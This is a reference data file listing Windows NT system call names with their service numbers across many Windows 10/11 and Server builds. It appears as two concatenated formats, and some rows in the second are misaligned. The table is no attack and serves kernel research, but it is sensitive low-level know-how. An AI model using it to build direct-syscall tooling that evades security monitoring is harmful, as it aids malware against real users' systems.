443,NtSetSystemEnvironmentValue,0x018c,0x018f,0x0195,0x019b,0x019e,0x01a0,0x01a1,0x01a2,0x01a2,0x01a8,0x01a8,0x01a8,0x01aa,0x01aa,0x01b0,0x01b3,0x01b7,0x01b7,0x01b9,0x01ba,0x01ba
444,NtSetSystemEnvironmentValueEx,0x018d,0x0190,0x0196,0x019c,0x019f,0x01a1,0x01a2,0x01a3,0x01a3,0x01a9,0x01a9,0x01a9,0x01ab,0x01ab,0x01b1,0x01b4,0x01b8,0x01b8,0x01ba,0x01bb,0x01bb
445,NtSetSystemInformation,0x018e,0x0191,0x0197,0x019d,0x01a0,0x01a2,0x01a3,0x01a4,0x01a4,0x01aa,0x01aa,0x01aa,0x01ac,0x01ac,0x01b2,0x01b5,0x01b9,0x01b9,0x01bb,0x01bc,0x01bc
446,NtSetSystemPowerState,0x018f,0x0192,0x0198,0x019e,0x01a1,0x01a3,0x01a4,0x01a5,0x01a5,0x01ab,0x01ab,0x01ab,0x01ad,0x01ad,0x01b3,0x01b6,0x01ba,0x01ba,0x01bc,0x01bd,0x01bd
447,NtSetSystemTime,0x0190,0x0193,0x0199,0x019f,0x01a2,0x01a4,0x01a5,0x01a6,0x01a6,0x01ac,0x01ac,0x01ac,0x01ae,0x01ae,0x01b4,0x01b7,0x01bb,0x01bb,0x01bd,0x01be,0x01be
448,NtSetThreadExecutionState,0x0191,0x0194,0x019a,0x01a0,0x01a3,0x01a5,0x01a6,0x01a7,0x01a7,0x01ad,0x01ad,0x01ad,0x01af,0x01af,0x01b5,0x01b8,0x01bc,0x01bc,0x01be,0x01bf,0x01bf
449,NtSetTimer,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062,0x0062
450,NtSetTimer2,0x0192,0x0195,0x019b,0x01a1,0x01a4,0x01a6,0x01a7,0x01a8,0x01a8,0x01ae,0x01ae,0x01ae,0x01b0,0x01b0,0x01b6,0x01b9,0x01bd,0x01bd,0x01bf,0x01c0,0x01c0
451,NtSetTimerEx,0x0193,0x0196,0x019c,0x01a2,0x01a5,0x01a7,0x01a8,0x01a9,0x01a9,0x01af,0x01af,0x01af,0x01b1,0x01b1,0x01b7,0x01ba,0x01be,0x01be,0x01c0,0x01c1,0x01c1
452,NtSetTimerResolution,0x0194,0x0197,0x019d,0x01a3,0x01a6,0x01a8,0x01a9,0x01aa,0x01aa,0x01b0,0x01b0,0x01b0,0x01b2,0x01b2,0x01b8,0x01bb,0x01bf,0x01bf,0x01c1,0x01c2,0x01c2
453,NtSetUuidSeed,0x0195,0x0198,0x019e,0x01a4,0x01a7,0x01a9,0x01aa,0x01ab,0x01ab,0x01b1,0x01b1,0x01b1,0x01b3,0x01b3,0x01b9,0x01bc,0x01c0,0x01c0,0x01c2,0x01c3,0x01c3
454,NtSetValueKey,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060,0x0060
455,NtSetVolumeInformationFile,0x0196,0x0199,0x019f,0x01a5,0x01a8,0x01aa,0x01ab,0x01ac,0x01ac,0x01b2,0x01b2,0x01b2,0x01b4,0x01b4,0x01ba,0x01bd,0x01c1,0x01c1,0x01c3,0x01c4,0x01c4
456,NtSetWnfProcessNotificationEvent,0x0197,0x019a,0x01a0,0x01a6,0x01a9,0x01ab,0x01ac,0x01ad,0x01ad,0x01b3,0x01b3,0x01b3,0x01b5,0x01b5,0x01bb,0x01be,0x01c2,0x01c2,0x01c4,0x01c5,0x01c5
457,NtShutdownSystem,0x0198,0x019b,0x01a1,0x01a7,0x01aa,0x01ac,0x01ad,0x01ae,0x01ae,0x01b4,0x01b4,0x01b4,0x01b6,0x01b6,0x01bc,0x01bf,0x01c3,0x01c3,0x01c5,0x01c6,0x01c6
458,NtShutdownWorkerFactory,0x0199,0x019c,0x01a2,0x01a8,0x01ab,0x01ad,0x01ae,0x01af,0x01af,0x01b5,0x01b5,0x01b5,0x01b7,0x01b7,0x01bd,0x01c0,0x01c4,0x01c4,0x01c6,0x01c7,0x01c7
459,NtSignalAndWaitForSingleObject,0x019a,0x019d,0x01a3,0x01a9,0x01ac,0x01ae,0x01af,0x01b0,0x01b0,0x01b6,0x01b6,0x01b6,0x01b8,0x01b8,0x01be,0x01c1,0x01c5,0x01c5,0x01c7,0x01c8,0x01c8
460,NtSinglePhaseReject,0x019b,0x019e,0x01a4,0x01aa,0x01ad,0x01af,0x01b0,0x01b1,0x01b1,0x01b7,0x01b7,0x01b7,0x01b9,0x01b9,0x01bf,0x01c2,0x01c6,0x01c6,0x01c8,0x01c9,0x01c9
461,NtStartProfile,0x019c,0x019f,0x01a5,0x01ab,0x01ae,0x01b0,0x01b1,0x01b2,0x01b2,0x01b8,0x01b8,0x01b8,0x01ba,0x01ba,0x01c0,0x01c3,0x01c7,0x01c7,0x01c9,0x01ca,0x01ca
462,NtStartTm,,,,,,,,,,,,,,,,,,,,,
463,NtStopProfile,0x019d,0x01a0,0x01a6,0x01ac,0x01af,0x01b1,0x01b2,0x01b3,0x01b3,0x01b9,0x01b9,0x01b9,0x01bb,0x01bb,0x01c1,0x01c4,0x01c8,0x01c8,0x01ca,0x01cb,0x01cb
464,NtSubmitIoRing,,,,,,,,,,,,,,,,0x01c5,0x01c9,0x01c9,0x01cb,0x01cc,0x01cc
465,NtSubscribeWnfStateChange,0x019e,0x01a1,0x01a7,0x01ad,0x01b0,0x01b2,0x01b3,0x01b4,0x01b4,0x01ba,0x01ba,0x01ba,0x01bc,0x01bc,0x01c2,0x01c6,0x01ca,0x01ca,0x01cc,0x01cd,0x01cd
466,NtSuspendProcess,0x019f,0x01a2,0x01a8,0x01ae,0x01b1,0x01b3,0x01b4,0x01b5,0x01b5,0x01bb,0x01bb,0x01bb,0x01bd,0x01bd,0x01c3,0x01c7,0x01cb,0x01cb,0x01cd,0x01ce,0x01ce
467,NtSuspendThread,0x01a0,0x01a3,0x01a9,0x01af,0x01b2,0x01b4,0x01b5,0x01b6,0x01b6,0x01bc,0x01bc,0x01bc,0x01be,0x01be,0x01c4,0x01c8,0x01cc,0x01cc,0x01ce,0x01cf,0x01cf
468,NtSystemDebugControl,0x01a1,0x01a4,0x01aa,0x01b0,0x01b3,0x01b5,0x01b6,0x01b7,0x01b7,0x01bd,0x01bd,0x01bd,0x01bf,0x01bf,0x01c5,0x01c9,0x01cd,0x01cd,0x01cf,0x01d0,0x01d0
469,NtTerminateEnclave,,,,,0x01b4,0x01b6,0x01b7,0x01b8,0x01b8,0x01be,0x01be,0x01be,0x01c0,0x01c0,0x01c6,0x01ca,0x01ce,0x01ce,0x01d0,0x01d1,0x01d1
470,NtTerminateJobObject,0x01a2,0x01a5,0x01ab,0x01b1,0x01b5,0x01b7,0x01b8,0x01b9,0x01b9,0x01bf,0x01bf,0x01bf,0x01c1,0x01c1,0x01c7,0x01cb,0x01cf,0x01cf,0x01d1,0x01d2,0x01d2
471,NtTerminateProcess,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c,0x002c
472,NtTerminateThread,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053,0x0053
473,NtTestAlert,0x01a3,0x01a6,0x01ac,0x01b2,0x01b6,0x01b8,0x01b9,0x01ba,0x01ba,0x01c0,0x01c0,0x01c0,0x01c2,0x01c2,0x01c8,0x01cc,0x01d0,0x01d0,0x01d2,0x01d3,0x01d3
474,NtThawRegistry,0x01a4,0x01a7,0x01ad,0x01b3,0x01b7,0x01b9,0x01ba,0x01bb,0x01bb,0x01c1,0x01c1,0x01c1,0x01c3,0x01c3,0x01c9,0x01cd,0x01d1,0x01d1,0x01d3,0x01d4,0x01d4
475,NtThawTransactions,0x01a5,0x01a8,0x01ae,0x01b4,0x01b8,0x01ba,0x01bb,0x01bc,0x01bc,0x01c2,0x01c2,0x01c2,0x01c4,0x01c4,0x01ca,0x01ce,0x01d2,0x01d2,0x01d4,0x01d5,0x01d5
476,NtTraceControl,0x01a6,0x01a9,0x01af,0x01b5,0x01b9,0x01bb,0x01bc,0x01bd,0x01bd,0x01c3,0x01c3,0x01c3,0x01c5,0x01c5,0x01cb,0x01cf,0x01d3,0x01d3,0x01d5,0x01d6,0x01d6
477,NtTraceEvent,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e,0x005e
478,NtTranslateFilePath,0x01a7,0x01aa,0x01b0,0x01b6,0x01ba,0x01bc,0x01bd,0x01be,0x01be,0x01c4,0x01c4,0x01c4,0x01c6,0x01c6,0x01cc,0x01d0,0x01d4,0x01d4,0x01d6,0x01d7,0x01d7
479,NtUmsThreadYield,0x01a8,0x01ab,0x01b1,0x01b7,0x01bb,0x01bd,0x01be,0x01bf,0x01bf,0x01c5,0x01c5,0x01c5,0x01c7,0x01c7,0x01cd,0x01d1,0x01d5,0x01d5,0x01d7,0x01d8,0x01d8
480,NtUnloadDriver,0x01a9,0x01ac,0x01b2,0x01b8,0x01bc,0x01be,0x01bf,0x01c0,0x01c0,0x01c6,0x01c6,0x01c6,0x01c8,0x01c8,0x01ce,0x01d2,0x01d6,0x01d6,0x01d8,0x01d9,0x01d9
481,NtUnloadKey,0x01aa,0x01ad,0x01b3,0x01b9,0x01bd,0x01bf,0x01c0,0x01c1,0x01c1,0x01c7,0x01c7,0x01c7,0x01c9,0x01c9,0x01cf,0x01d3,0x01d7,0x01d7,0x01d9,0x01da,0x01da
482,NtUnloadKey2,0x01ab,0x01ae,0x01b4,0x01ba,0x01be,0x01c0,0x01c1,0x01c2,0x01c2,0x01c8,0x01c8,0x01c8,0x01ca,0x01ca,0x01d0,0x01d4,0x01d8,0x01d8,0x01da,0x01db,0x01db
483,NtUnloadKeyEx,0x01ac,0x01af,0x01b5,0x01bb,0x01bf,0x01c1,0x01c2,0x01c3,0x01c3,0x01c9,0x01c9,0x01c9,0x01cb,0x01cb,0x01d1,0x01d5,0x01d9,0x01d9,0x01db,0x01dc,0x01dc
484,NtUnlockFile,0x01ad,0x01b0,0x01b6,0x01bc,0x01c0,0x01c2,0x01c3,0x01c4,0x01c4,0x01ca,0x01ca,0x01ca,0x01cc,0x01cc,0x01d2,0x01d6,0x01da,0x01da,0x01dc,0x01dd,0x01dd
485,NtUnlockVirtualMemory,0x01ae,0x01b1,0x01b7,0x01bd,0x01c1,0x01c3,0x01c4,0x01c5,0x01c5,0x01cb,0x01cb,0x01cb,0x01cd,0x01cd,0x01d3,0x01d7,0x01db,0x01db,0x01dd,0x01de,0x01de
486,NtUnmapViewOfSection,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a,0x002a
487,NtUnmapViewOfSectionEx,0x01af,0x01b2,0x01b8,0x01be,0x01c2,0x01c4,0x01c5,0x01c6,0x01c6,0x01cc,0x01cc,0x01cc,0x01ce,0x01ce,0x01d4,0x01d8,0x01dc,0x01dc,0x01de,0x01df,0x01df
488,NtUnsubscribeWnfStateChange,0x01b0,0x01b3,0x01b9,0x01bf,0x01c3,0x01c5,0x01c6,0x01c7,0x01c7,0x01cd,0x01cd,0x01cd,0x01cf,0x01cf,0x01d5,0x01d9,0x01dd,0x01dd,0x01df,0x01e0,0x01e0
489,NtUpdateWnfStateData,0x01b1,0x01b4,0x01ba,0x01c0,0x01c4,0x01c6,0x01c7,0x01c8,0x01c8,0x01ce,0x01ce,0x01ce,0x01d0,0x01d0,0x01d6,0x01da,0x01de,0x01de,0x01e0,0x01e1,0x01e1
490,NtVdmControl,0x01b2,0x01b5,0x01bb,0x01c1,0x01c5,0x01c7,0x01c8,0x01c9,0x01c9,0x01cf,0x01cf,0x01cf,0x01d1,0x01d1,0x01d7,0x01db,0x01df,0x01df,0x01e1,0x01e2,0x01e2
491,NtWaitForAlertByThreadId,0x01b3,0x01b6,0x01bc,0x01c2,0x01c6,0x01c8,0x01c9,0x01ca,0x01ca,0x01d0,0x01d0,0x01d0,0x01d2,0x01d2,0x01d8,0x01dc,0x01e0,0x01e0,0x01e2,0x01e3,0x01e3
492,NtWaitForDebugEvent,0x01b4,0x01b7,0x01bd,0x01c3,0x01c7,0x01c9,0x01ca,0x01cb,0x01cb,0x01d1,0x01d1,0x01d1,0x01d3,0x01d3,0x01d9,0x01dd,0x01e1,0x01e1,0x01e3,0x01e4,0x01e4
493,NtWaitForKeyedEvent,0x01b5,0x01b8,0x01be,0x01c4,0x01c8,0x01ca,0x01cb,0x01cc,0x01cc,0x01d2,0x01d2,0x01d2,0x01d4,0x01d4,0x01da,0x01de,0x01e2,0x01e2,0x01e4,0x01e5,0x01e5
494,NtWaitForMultipleObjects,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b,0x005b
495,NtWaitForMultipleObjects32,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a,0x001a
496,NtWaitForSingleObject,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004
497,NtWaitForWnfNotifications,,,,,,,,,,,,,,,,,,,,,
498,NtWaitForWorkViaWorkerFactory,0x01b6,0x01b9,0x01bf,0x01c5,0x01c9,0x01cb,0x01cc,0x01cd,0x01cd,0x01d3,0x01d3,0x01d3,0x01d5,0x01d5,0x01db,0x01df,0x01e3,0x01e3,0x01e5,0x01e6,0x01e6
499,NtWaitHighEventPair,0x01b7,0x01ba,0x01c0,0x01c6,0x01ca,0x01cc,0x01cd,0x01ce,0x01ce,0x01d4,0x01d4,0x01d4,0x01d6,0x01d6,0x01dc,0x01e0,0x01e4,0x01e4,0x01e6,0x01e7,0x01e7
500,NtWaitLowEventPair,0x01b8,0x01bb,0x01c1,0x01c7,0x01cb,0x01cd,0x01ce,0x01cf,0x01cf,0x01d5,0x01d5,0x01d5,0x01d8,0x01d8,0x01dd,0x01e1,0x01e5,0x01e5,0x01e7,0x01e8,0x01e8
501,NtWorkerFactoryWorkerReady,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001
502,NtWriteFile,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008,0x0008
503,NtWriteFileGather,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b,0x001b
504,NtWriteRequestData,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057,0x0057
505,NtWriteVirtualMemory,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a,0x003a
506,NtYieldExecution,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046,0x0046
1 # System call 10240 10586 14393 15063 16299 17134 17763 18362 18363 19041 19042 19043 19044 19045 22000 20348 22621 22631 25398 26100 26085
2 1 NtAcceptConnectPort 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002 0x0002
3 2 NtAccessCheck 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
4 3 NtAccessCheckAndAuditAlarm 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029 0x0029
5 4 NtAccessCheckByType 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063 0x0063
6 5 NtAccessCheckByTypeAndAuditAlarm 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059 0x0059
7 6 NtAccessCheckByTypeResultList 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064 0x0064
8 7 NtAccessCheckByTypeResultListAndAuditAlarm 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065 0x0065
9 8 NtAccessCheckByTypeResultListAndAuditAlarmByHandle 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066 0x0066
10 9 NtAcquireCMFViewOwnership
11 10 NtAcquireCrossVmMutant 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067
12 11 NtAcquireProcessActivityReference 0x0067 0x0067 0x0067 0x0067 0x0067 0x0067 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068
13 12 NtAddAtom 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047 0x0047
14 13 NtAddAtomEx 0x0067 0x0067 0x0067 0x0068 0x0068 0x0068 0x0068 0x0068 0x0068 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069
15 14 NtAddBootEntry 0x0068 0x0068 0x0068 0x0069 0x0069 0x0069 0x0069 0x0069 0x0069 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a
16 15 NtAddDriverEntry 0x0069 0x0069 0x0069 0x006a 0x006a 0x006a 0x006a 0x006a 0x006a 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b
17 16 NtAdjustGroupsToken 0x006a 0x006a 0x006a 0x006b 0x006b 0x006b 0x006b 0x006b 0x006b 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c
18 17 NtAdjustPrivilegesToken 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041 0x0041
19 18 NtAdjustTokenClaimsAndDeviceGroups 0x006b 0x006b 0x006b 0x006c 0x006c 0x006c 0x006c 0x006c 0x006c 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d
20 19 NtAlertMultipleThreadByThreadId 0x006e 0x006e
21 20 NtAlertResumeThread 0x006c 0x006c 0x006c 0x006d 0x006d 0x006d 0x006d 0x006d 0x006d 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006f 0x006f
22 21 NtAlertThread 0x006d 0x006d 0x006d 0x006e 0x006e 0x006e 0x006e 0x006e 0x006e 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x0070 0x0070
23 22 NtAlertThreadByThreadId 0x006e 0x006e 0x006e 0x006f 0x006f 0x006f 0x006f 0x006f 0x006f 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0071 0x0071
24 23 NtAlertThreadByThreadIdEx 0x0071 0x0072 0x0072
25 24 NtAllocateLocallyUniqueId 0x006f 0x006f 0x006f 0x0070 0x0070 0x0070 0x0070 0x0070 0x0070 0x0071 0x0071 0x0071 0x0071 0x0071 0x0071 0x0071 0x0071 0x0071 0x0072 0x0073 0x0073
26 25 NtAllocateReserveObject 0x0070 0x0070 0x0070 0x0071 0x0071 0x0071 0x0071 0x0071 0x0071 0x0072 0x0072 0x0072 0x0072 0x0072 0x0072 0x0072 0x0072 0x0072 0x0073 0x0074 0x0074
27 26 NtAllocateUserPhysicalPages 0x0071 0x0071 0x0071 0x0072 0x0072 0x0072 0x0072 0x0072 0x0072 0x0073 0x0073 0x0073 0x0073 0x0073 0x0073 0x0073 0x0073 0x0073 0x0074 0x0075 0x0075
28 27 NtAllocateUserPhysicalPagesEx 0x0074 0x0074 0x0074 0x0074 0x0074 0x0074 0x0074 0x0074 0x0074 0x0075 0x0076 0x0076
29 28 NtAllocateUuids 0x0072 0x0072 0x0072 0x0073 0x0073 0x0073 0x0073 0x0073 0x0073 0x0075 0x0075 0x0075 0x0075 0x0075 0x0075 0x0075 0x0075 0x0075 0x0076 0x0077 0x0077
30 29 NtAllocateVirtualMemory 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018 0x0018
31 30 NtAllocateVirtualMemoryEx 0x0074 0x0074 0x0074 0x0074 0x0076 0x0076 0x0076 0x0076 0x0076 0x0076 0x0076 0x0076 0x0076 0x0077 0x0078 0x0078
32 31 NtAlpcAcceptConnectPort 0x0073 0x0073 0x0073 0x0074 0x0074 0x0075 0x0075 0x0075 0x0075 0x0077 0x0077 0x0077 0x0077 0x0077 0x0077 0x0077 0x0077 0x0077 0x0078 0x0079 0x0079
33 32 NtAlpcCancelMessage 0x0074 0x0074 0x0074 0x0075 0x0075 0x0076 0x0076 0x0076 0x0076 0x0078 0x0078 0x0078 0x0078 0x0078 0x0078 0x0078 0x0078 0x0078 0x0079 0x007a 0x007a
34 33 NtAlpcConnectPort 0x0075 0x0075 0x0075 0x0076 0x0076 0x0077 0x0077 0x0077 0x0077 0x0079 0x0079 0x0079 0x0079 0x0079 0x0079 0x0079 0x0079 0x0079 0x007a 0x007b 0x007b
35 34 NtAlpcConnectPortEx 0x0076 0x0076 0x0076 0x0077 0x0077 0x0078 0x0078 0x0078 0x0078 0x007a 0x007a 0x007a 0x007a 0x007a 0x007a 0x007a 0x007a 0x007a 0x007b 0x007c 0x007c
36 35 NtAlpcCreatePort 0x0077 0x0077 0x0077 0x0078 0x0078 0x0079 0x0079 0x0079 0x0079 0x007b 0x007b 0x007b 0x007b 0x007b 0x007b 0x007b 0x007b 0x007b 0x007c 0x007d 0x007d
37 36 NtAlpcCreatePortSection 0x0078 0x0078 0x0078 0x0079 0x0079 0x007a 0x007a 0x007a 0x007a 0x007c 0x007c 0x007c 0x007c 0x007c 0x007c 0x007c 0x007c 0x007c 0x007d 0x007e 0x007e
38 37 NtAlpcCreateResourceReserve 0x0079 0x0079 0x0079 0x007a 0x007a 0x007b 0x007b 0x007b 0x007b 0x007d 0x007d 0x007d 0x007d 0x007d 0x007d 0x007d 0x007d 0x007d 0x007e 0x007f 0x007f
39 38 NtAlpcCreateSectionView 0x007a 0x007a 0x007a 0x007b 0x007b 0x007c 0x007c 0x007c 0x007c 0x007e 0x007e 0x007e 0x007e 0x007e 0x007e 0x007e 0x007e 0x007e 0x007f 0x0080 0x0080
40 39 NtAlpcCreateSecurityContext 0x007b 0x007b 0x007b 0x007c 0x007c 0x007d 0x007d 0x007d 0x007d 0x007f 0x007f 0x007f 0x007f 0x007f 0x007f 0x007f 0x007f 0x007f 0x0080 0x0081 0x0081
41 40 NtAlpcDeletePortSection 0x007c 0x007c 0x007c 0x007d 0x007d 0x007e 0x007e 0x007e 0x007e 0x0080 0x0080 0x0080 0x0080 0x0080 0x0080 0x0080 0x0080 0x0080 0x0081 0x0082 0x0082
42 41 NtAlpcDeleteResourceReserve 0x007d 0x007d 0x007d 0x007e 0x007e 0x007f 0x007f 0x007f 0x007f 0x0081 0x0081 0x0081 0x0081 0x0081 0x0081 0x0081 0x0081 0x0081 0x0082 0x0083 0x0083
43 42 NtAlpcDeleteSectionView 0x007e 0x007e 0x007e 0x007f 0x007f 0x0080 0x0080 0x0080 0x0080 0x0082 0x0082 0x0082 0x0082 0x0082 0x0082 0x0082 0x0082 0x0082 0x0083 0x0084 0x0084
44 43 NtAlpcDeleteSecurityContext 0x007f 0x007f 0x007f 0x0080 0x0080 0x0081 0x0081 0x0081 0x0081 0x0083 0x0083 0x0083 0x0083 0x0083 0x0083 0x0083 0x0083 0x0083 0x0084 0x0085 0x0085
45 44 NtAlpcDisconnectPort 0x0080 0x0080 0x0080 0x0081 0x0081 0x0082 0x0082 0x0082 0x0082 0x0084 0x0084 0x0084 0x0084 0x0084 0x0084 0x0084 0x0084 0x0084 0x0085 0x0086 0x0086
46 45 NtAlpcImpersonateClientContainerOfPort 0x0081 0x0081 0x0081 0x0082 0x0082 0x0083 0x0083 0x0083 0x0083 0x0085 0x0085 0x0085 0x0085 0x0085 0x0085 0x0085 0x0085 0x0085 0x0086 0x0087 0x0087
47 46 NtAlpcImpersonateClientOfPort 0x0082 0x0082 0x0082 0x0083 0x0083 0x0084 0x0084 0x0084 0x0084 0x0086 0x0086 0x0086 0x0086 0x0086 0x0086 0x0086 0x0086 0x0086 0x0087 0x0088 0x0088
48 47 NtAlpcOpenSenderProcess 0x0083 0x0083 0x0083 0x0084 0x0084 0x0085 0x0085 0x0085 0x0085 0x0087 0x0087 0x0087 0x0087 0x0087 0x0087 0x0087 0x0087 0x0087 0x0088 0x0089 0x0089
49 48 NtAlpcOpenSenderThread 0x0084 0x0084 0x0084 0x0085 0x0085 0x0086 0x0086 0x0086 0x0086 0x0088 0x0088 0x0088 0x0088 0x0088 0x0088 0x0088 0x0088 0x0088 0x0089 0x008a 0x008a
50 49 NtAlpcQueryInformation 0x0085 0x0085 0x0085 0x0086 0x0086 0x0087 0x0087 0x0087 0x0087 0x0089 0x0089 0x0089 0x0089 0x0089 0x0089 0x0089 0x0089 0x0089 0x008a 0x008b 0x008b
51 50 NtAlpcQueryInformationMessage 0x0086 0x0086 0x0086 0x0087 0x0087 0x0088 0x0088 0x0088 0x0088 0x008a 0x008a 0x008a 0x008a 0x008a 0x008a 0x008a 0x008a 0x008a 0x008b 0x008c 0x008c
52 51 NtAlpcRevokeSecurityContext 0x0087 0x0087 0x0087 0x0088 0x0088 0x0089 0x0089 0x0089 0x0089 0x008b 0x008b 0x008b 0x008b 0x008b 0x008b 0x008b 0x008b 0x008b 0x008c 0x008d 0x008d
53 52 NtAlpcSendWaitReceivePort 0x0088 0x0088 0x0088 0x0089 0x0089 0x008a 0x008a 0x008a 0x008a 0x008c 0x008c 0x008c 0x008c 0x008c 0x008c 0x008c 0x008c 0x008c 0x008d 0x008e 0x008e
54 53 NtAlpcSetInformation 0x0089 0x0089 0x0089 0x008a 0x008a 0x008b 0x008b 0x008b 0x008b 0x008d 0x008d 0x008d 0x008d 0x008d 0x008d 0x008d 0x008d 0x008d 0x008e 0x008f 0x008f
55 54 NtApphelpCacheControl 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c 0x004c
56 55 NtAreMappedFilesTheSame 0x008a 0x008a 0x008a 0x008b 0x008b 0x008c 0x008c 0x008c 0x008c 0x008e 0x008e 0x008e 0x008e 0x008e 0x008e 0x008e 0x008e 0x008e 0x008f 0x0090 0x0090
57 56 NtAssignProcessToJobObject 0x008b 0x008b 0x008b 0x008c 0x008c 0x008d 0x008d 0x008d 0x008d 0x008f 0x008f 0x008f 0x008f 0x008f 0x008f 0x008f 0x008f 0x008f 0x0090 0x0091 0x0091
58 57 NtAssociateWaitCompletionPacket 0x008c 0x008c 0x008c 0x008d 0x008d 0x008e 0x008e 0x008e 0x008e 0x0090 0x0090 0x0090 0x0090 0x0090 0x0090 0x0090 0x0090 0x0090 0x0091 0x0092 0x0092
